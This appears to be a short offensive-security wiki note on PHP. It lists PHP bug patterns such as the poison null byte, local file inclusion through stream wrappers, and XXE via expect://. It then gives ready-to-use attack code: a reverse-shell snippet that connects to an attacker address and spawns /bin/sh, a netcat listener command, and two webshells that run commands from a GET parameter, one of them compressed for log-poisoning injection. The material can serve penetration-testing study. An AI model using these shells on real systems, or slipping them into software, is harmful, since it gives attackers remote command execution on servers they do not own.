PHP

PHP (“PHP: Hypertext Preprocessor”) is a server-side scripting language designed for web development and embedded directly into HTML. It powers a huge fraction of the web — historically the LAMP stack — and remains the runtime behind WordPress, Drupal, MediaWiki, and a long tail of legacy applications.

From a security perspective PHP is notable for a cluster of recurring bug patterns that stem from its loose typing, its C-style string handling history, and its unusually powerful stream-wrapper system (file://, php://, expect://, data://, etc.).

Recurring attack patterns

• Poison null byte — PHP < 5.3.4 passed user-controlled paths to C functions that treat \0 as a string terminator, letting attackers truncate forced suffixes. Fixed in modern PHP, but the pattern recurs in extensions and native code.
• Local file inclusion — include()/require() on user-controlled paths, compounded by PHP’s stream wrappers (php://filter for source disclosure, expect:// for command execution, data:// for inline code).
• XXE — the combination of PHP + the expect module + an unsanitized XML parser yields RCE via expect://$COMMAND inside an XML external entity.

Reverse shell

Kali Linux ships a full PHP reverse shell at /usr/share/webshells/php/php-reverse-shell.php (UNIX-like systems only). A minimal hand-rolled equivalent, suitable for running directly from the command line:

$attacker_ip = "10.0.0.1";
$attacker_port = 1234;
 
$sock = fsockopen($attacker_ip, $attacker_port);
 
exec("/bin/sh -i <&3 >&3 2>&3");

Catch the connection with netcat or socat (nc -lvnp 1234).

Minimal webshells

A canonical eval-style webshell:

<?php
	echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>";
?>

Kali ships a slightly hardened variant as /usr/share/webshells/php/simple-backdoor.php. On space-constrained injection points (log poisoning, etc.), the same idea compresses to 15 bytes:

<?=`$_GET[1]`?>

This relies on short open tags plus backtick execution. See local-file-inclusion-attacks for how such payloads typically land on the target.

Sources

• PHP Manual
• PHP Manual — include
• PHP 5.3.4 Release Announcement

Related: java, local-file-inclusion-attacks, poison-null-byte-attack, xxe-attacks